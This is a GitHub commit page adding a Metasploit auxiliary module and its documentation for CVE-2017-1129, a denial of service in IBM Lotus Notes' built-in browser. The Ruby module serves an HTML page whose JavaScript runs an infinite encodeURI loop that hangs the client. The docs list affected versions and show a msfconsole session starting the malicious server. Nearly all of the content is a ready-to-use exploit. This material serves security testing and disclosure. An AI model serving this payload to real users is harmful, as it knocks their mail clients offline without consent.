Skip to content

Commit a3d47ea

Browse files
committed
Land rapid7#8989, IBM Lotus Notes DoS (CVE-2017-1129)
2 parents 436b72d + fd8b72c commit a3d47ea

File tree

2 files changed

+122
-0
lines changed

2 files changed

+122
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Vulnerable Application
2+
3+
This module exploits a vulnerability in the built-in web-browser of IBM Lotus Notes client application.
4+
5+
JavaScript is used to create an object instance of encode URI within an infinite loop,
6+
leading to a Denial of Service of the IBM Lotus Notes app itself.
7+
8+
Vulnerable app versions include:
9+
* IBM Notes 9.0.1 to 9.0.1 FP8IF1
10+
* IBM Notes 9.0 to 9.0 IF4.
11+
* IBM Notes 8.5.3 to 8.5.3 FP6 IF13.
12+
* IBM Notes 8.5.2 to 8.5.2 FP4 IF3.
13+
* IBM Notes 8.5.1. to 8.5.1 FP5 IF5.
14+
* IBM Notes 8.5 release
15+
16+
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999385
17+
18+
## Verification
19+
20+
1. Start msfconsole
21+
1. `use auxiliary/dos/http/ibm_lotus_notes.rb`
22+
1. Set `SRVHOST`
23+
1. Set `SRVPORT`
24+
1. run (Server started)
25+
1. Visit server URL in the built-in web-browser of IBM Notes client application
26+
27+
## Scenarios
28+
29+
```
30+
msf > use auxiliary/dos/http/ibm_lotus_notes
31+
msf auxiliary(ibm_lotus_notes) > show options
32+
33+
Module options (auxiliary/dos/http/ibm_lotus_notes):
34+
35+
Name Current Setting Required Description
36+
---- --------------- -------- -----------
37+
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
38+
SRVPORT 8080 yes The local port to listen on.
39+
SSL false no Negotiate SSL for incoming connections
40+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
41+
URIPATH no The URI to use for this exploit (default is random)
42+
43+
44+
Auxiliary action:
45+
46+
Name Description
47+
---- -----------
48+
WebServer
49+
50+
51+
msf auxiliary(ibm_lotus_notes) > set SRVHOST 192.168.0.50
52+
SRVHOST => 192.168.0.50
53+
msf auxiliary(ibm_lotus_notes) > set SRVPORT 9092
54+
SRVPORT => 9092
55+
msf auxiliary(ibm_lotus_notes) > run
56+
[*] Auxiliary module execution completed
57+
msf auxiliary(ibm_lotus_notes) >
58+
[*] Using URL: http://192.168.0.50:9092/ImlbHZVXlvTEXYd
59+
[*] Server started.
60+
msf auxiliary(ibm_lotus_notes) >
61+
```
62+
63+
At this point, the target should use the built-in web browser of their IBM Lotus Notes client to navigate to the above "Using URL" value. And then they should see their Notes app become unresponsive.
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpServer
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => "IBM Notes encodeURI DOS",
14+
'Description' => %q(
15+
This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.
16+
If successful, it could cause the Notes client to hang and have to be restarted.
17+
),
18+
'License' => MSF_LICENSE,
19+
'Author' => [
20+
'Dhiraj Mishra',
21+
],
22+
'References' => [
23+
[ 'EXPLOIT-DB', '42602'],
24+
[ 'CVE', '2017-1129' ],
25+
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]
26+
],
27+
'DisclosureDate' => 'Aug 31 2017',
28+
'Actions' => [[ 'WebServer' ]],
29+
'PassiveActions' => [ 'WebServer' ],
30+
'DefaultAction' => 'WebServer'
31+
)
32+
)
33+
end
34+
35+
def run
36+
exploit # start http server
37+
end
38+
39+
def setup
40+
@html = %|
41+
<html><head><title>DOS</title>
42+
<script type="text/javascript">
43+
while (true) try {
44+
var object = { };
45+
function d(d0) {
46+
var d0 = (object instanceof encodeURI)('foo');
47+
}
48+
d(75);
49+
} catch (d) { }
50+
</script>
51+
</head></html>
52+
|
53+
end
54+
55+
def on_request_uri(cli, _request)
56+
print_status('Sending response')
57+
send_response(cli, @html)
58+
end
59+
end

0 commit comments

Comments
 (0)